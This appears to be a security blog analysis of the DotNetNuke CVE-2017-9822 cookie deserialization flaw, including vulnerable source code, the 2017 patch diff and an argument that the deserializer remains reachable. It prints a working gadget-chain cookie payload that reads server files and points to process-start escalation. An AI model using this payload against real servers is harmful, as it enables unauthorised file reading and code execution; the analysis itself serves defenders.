//nefariousplan

CVE-2017-9822: The Patch Encrypted the Cookie. The Deserializer Is Still Public.

pattern

cve

proof of concept

CVE-2017-9822 was assigned in 2017. The fix shipped in fifteen lines touching one method. CISA later added the entry to the KEV catalog. EPSS percentile sits at 99.94, the top hundredth of CVEs by predicted exploitation, and that percentile has not moved.

The patch did not touch XmlUtils.DeSerializeHashtable. That function still exists in the DotNetNuke source today, still calls Type.GetType() on an attacker-supplied string, still feeds the resulting type into XmlSerializer.Deserialize() against attacker-supplied XML. The patch encrypted the one input that reached it. The function did not change.

The cookie reaches a deserializer with no type filter

DotNetNuke tracks anonymous personalization in a cookie called DNNPersonalization. The cookie body is XML. For an unauthenticated request, PersonalizationController.LoadProfile reads the cookie value and hands it to XmlUtils.DeSerializeHashtable, which is the function that turns the string into objects.

That function, today, in DNN Platform/Library/Common/Utilities/XmlUtils.cs:

public static Hashtable DeSerializeHashtable(string xmlSource, string rootname)
{
    var hashTable = new Hashtable();

    if (!string.IsNullOrEmpty(xmlSource))
    {
        try
        {
            var xmlDoc = new XmlDocument { XmlResolver = null };
            using (var xmlReader = XmlReader.Create(new StringReader(xmlSource), new XmlReaderSettings { XmlResolver = null, }))
            {
                xmlDoc.Load(xmlReader);
            }

            foreach (XmlElement xmlItem in xmlDoc.SelectNodes(rootname + "/item"))
            {
                string key = xmlItem.GetAttribute("key");
                string typeName = xmlItem.GetAttribute("type");

                // Create the XmlSerializer
                var serializer = new XmlSerializer(Type.GetType(typeName));

                // A reader is needed to read the XML document.
                var reader = new XmlTextReader(new StringReader(xmlItem.InnerXml))
                {
                    XmlResolver = null,
                    DtdProcessing = DtdProcessing.Prohibit,
                };

                hashTable.Add(key, serializer.Deserialize(reader));
            }
        }
        catch (Exception)
        {
            ////Logger.Error(ex); /*Ignore Log because if failed on profile this will log on every request.*/
        }
    }

    return hashTable;
}

typeName is a string the function reads from the type attribute on each <item> element in the XML document. It passes that string to Type.GetType(), which constructs a reference to whatever .NET type the caller named, including types from the GAC the application would never reach intentionally. The constructed type becomes the schema for an XmlSerializer. The element's children become the values fed into that schema. Whatever object graph the caller wrote down, .NET builds.

The catch (Exception) { } at the bottom swallows any failure silently. The committed-out Logger.Error call carries an explanatory comment: do not log because a logging call here would flood the log on every request. The function is reached by every anonymous request that carries a personalization cookie.

There is no caller-allowlist. There is no type-allowlist. There is no schema. There is no cap on how many items the loop processes. The contract of the function, read off its own signature, is: deserialize whatever this string says it is.

The Nuclei payload is the entire .NET deserialization gadget chain

The Nuclei template ships exactly one HTTP request. Strip the headers and the cookie body is this:

<profile>
  <item key="name1: key1"
        type="System.Data.Services.Internal.ExpandedWrapper`2[
                [DotNetNuke.Common.Utilities.FileSystemUtils],
                [System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]
              ], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <ExpandedElement/>
      <ProjectedProperty0>
        <MethodName>WriteFile</MethodName>
        <MethodParameters>
          <anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType>
        </MethodParameters>
        <ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
      </ProjectedProperty0>
    </ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
  </item>
</profile>

The type attribute names ExpandedWrapper<FileSystemUtils, ObjectDataProvider>. ExpandedWrapper is an Astoria / WCF helper that holds a primary entity plus a projected property. ObjectDataProvider is a WPF data-binding helper that calls a method on an object with given parameters and exposes the result. The XmlSerializer reconstructs the wrapper. As it materializes the projected property, it sets ObjectInstance = new FileSystemUtils(), MethodName = "WriteFile", MethodParameters = ["C:\Windows\win.ini"]. The ObjectDataProvider setter for MethodName invokes the named method on the named instance with the named parameters, eagerly, during deserialization. This is the standard .NET xaml-style gadget chain documented in every payload generator from ysoserial.net forward.

FileSystemUtils.WriteFile is a DotNetNuke helper. The version that shipped at the time of CVE-2017-9822, in DNN Platform/Library/Common/Utilities/FileSystemUtils.cs:

public static void WriteFile(string strFileName)
{
    HttpResponse objResponse = HttpContext.Current.Response;
    Stream objStream = null;
    try
    {
        objStream = new FileStream(strFileName, FileMode.Open, FileAccess.Read, FileShare.Read);
        WriteStream(objResponse, objStream);
    }
    catch (Exception ex)
    {
        Logger.Error(ex);
        objResponse.Write("Error : " + ex.Message);
    }
    // ...
}

Open the named file with the IIS process's permissions, write its bytes into the HTTP response. The Nuclei template requests C:\Windows\win.ini and matches [extensions] and for 16-bit app support in the response body, which is how it confirms the instance is vulnerable. The matcher checks for status 404 because the request is to /__, a path that does not resolve to a page; the cookie deserialization fires inside the IIS pipeline before the routing layer returns the 404. The deserializer ran. The file read happened. The 404 is the response code on the page that did not exist.

WriteFile is a convenient sink. The ObjectDataProvider gadget can name any public method on any public type the runtime can resolve. System.Diagnostics.Process.Start(ProcessStartInfo) is the canonical RCE escalation, documented for every .NET deserialization payload generator since 2017. The Nuclei template is a probe. The primitive is RCE.

The patch is fifteen lines, none of them in the deserializer

The fix commit, DNN-9879, dated June 2, 2017, in full:

@@ -65,7 +66,7 @@ public PersonalizationInfo LoadProfile(int userId, int portalId)
                 HttpContext context = HttpContext.Current;
                 if (context != null && context.Request.Cookies["DNNPersonalization"] != null)
                 {
-                    profileData = context.Request.Cookies["DNNPersonalization"].Value;
+                    profileData = DecryptData(context.Request.Cookies["DNNPersonalization"].Value);
                 }
             }

@@ -137,7 +138,7 @@ public void SaveProfile(PersonalizationInfo personalization, int userId, int por
                     var context = HttpContext.Current;
                     if (context != null)
                     {
-                        var personalizationCookie = new HttpCookie("DNNPersonalization", profileData)
+                        var personalizationCookie = new HttpCookie("DNNPersonalization", EncryptData(profileData))
                         {
                             Expires = DateTime.Now.AddDays(30),
                             Path = (!string.IsNullOrEmpty(Globals.ApplicationPath) ? Globals.ApplicationPath : "/")
@@ -147,5 +148,15 @@ public void SaveProfile(PersonalizationInfo personalization, int userId, int por
+
+        private string EncryptData(string profileData)
+        {
+            return new PortalSecurity().Encrypt(Config.GetDecryptionkey(), profileData);
+        }
+
+        private string DecryptData(string profileData)
+        {
+            return new PortalSecurity().Decrypt(Config.GetDecryptionkey(), profileData);
+        }

Two call sites changed: the read of DNNPersonalization is now wrapped in DecryptData, the write in EncryptData. Two helper methods added that delegate to PortalSecurity.Encrypt and PortalSecurity.Decrypt, both keyed by Config.GetDecryptionkey(), the machine key DotNetNuke reads from web.config. The cookie an unauthenticated client sends is no longer the cookie the deserializer sees: it is the result of decrypting that cookie with a server-side key, and an attacker who does not hold the key cannot construct ciphertext that decrypts to anything the XML parser will accept, let alone a <profile> document with attacker-controlled <item type="..."> elements.

The diff is fifteen lines. None of them are in XmlUtils.cs. None of them are in DeSerializeHashtable. None of them filter the type the deserializer is allowed to instantiate. The patch does not say XmlSerializer is dangerous when the type is caller-controlled. The patch's claim, read off its diff, is that the attacker cannot reach the deserializer with attacker-controlled bytes through this one cookie. That is true of this one cookie. The function the cookie used to reach is unchanged.

The deserializer is still public, with a deprecated wrapper still callable

XmlUtils.DeSerializeHashtable is public static. Two call sites in DotNetNuke's own code as of head, both inside DotNetNuke.dll. The first is the patched PersonalizationController.LoadProfile, gated by decryption. The second is in DNN Platform/Library/Common/Globals.cs:

/// <summary>DeserializeHashTableXml deserializes a Hashtable using Xml Serialization.</summary>
/// <remarks>
/// This is the preferred method of serialization under Medium Trust.
/// </remarks>
[DnnDeprecated(9, 8, 1, "This API was not meant to be public and only deserializes xml with a root of 'profile'")]
public static partial Hashtable DeserializeHashTableXml(string source)
{
    return XmlUtils.DeSerializeHashtable(source, "profile");
}

The deprecation note is a confession. "This API was not meant to be public" describes the wrapper that went out the door in a public DLL, was loadable from any module written against DotNetNuke.dll for years, and is still loadable today. The [DnnDeprecated] attribute emits a compile-time warning. The function still runs. The function still hands whatever string the caller passes into XmlUtils.DeSerializeHashtable(source, "profile"). Any DotNetNuke module written against this API in the last decade carries CVE-2017-9822 inside its own input surface; the attacker just needs whatever input the module exposes to reach Globals.DeserializeHashTableXml(<their xml>), and the module is back to running attacker-named types.

XmlUtils.DeSerializeHashtable itself remains public static, callable from any assembly loaded into the application domain. There is no class-allowlist on what Type.GetType is asked to construct. There is no type filter on what XmlSerializer is asked to deserialize. The catch (Exception) { } still hides failures, by explicit comment, to keep the log readable for a function that runs on every anonymous request. The remediation note in the deprecation attribute does not say "do not call this function with caller-supplied input." It says the API was not supposed to be public.

The patch is not a fix to the bug class. The patch is a key gate on one consumer of a primitive that remains public, remains callable, and still carries the contract that named the bug.

The KEV listing is not telling you the patch level is wrong

CISA's Known Exploited Vulnerabilities catalog carries CVE-2017-9822. EPSS percentile sits at 99.94, the top hundredth of CVEs by predicted exploitation, and the percentile has held there since the score was introduced. The Nuclei template body for it has been updated as recently as this year, the rule's metadata block carrying the vkev and kev tags. None of those signals is telling you the Nuclei template is good. They are telling you that internet-facing DotNetNuke instances on versions older than 9.3.1 still exist in numbers high enough that mass scanning for the cookie payload reliably finds them. The patch shipped in 2017. The exploitation curve has not converged.

The shape of the substrate explains why the curve has not converged. XmlUtils.DeSerializeHashtable is a function whose contract, read off its signature, is to instantiate a caller-named type and deserialize caller-supplied XML into it. That contract is the function. No version of the function is safe with caller-controlled input, because there is no version of XmlSerializer.Deserialize(Type.GetType(<attacker string>)) that is safe with caller-controlled input. This is what the unpatchable primitive pattern names: a bug class whose source is the design contract of the component, where each patch closes a specific reachability path and the next path arrives with the next caller. The function is the primitive. The patches are gates around it.

The CVE description for CVE-2017-9822 reads "DNNPersonalization cookie." It does not name the function the cookie reached. The Nuclei template description reads "cookie deserialization remote code execution." It does not name the function the cookie reached. Patching to 9.3.1 closes the cookie. The function the cookie reached is still in the DotNetNuke.dll shipped with version 9.13.x.

PoC: projectdiscovery/nuclei-templates CVE-2017-9822

Fifteen lines closed CVE-2017-9822. None of them are in the function CVE-2017-9822 reached.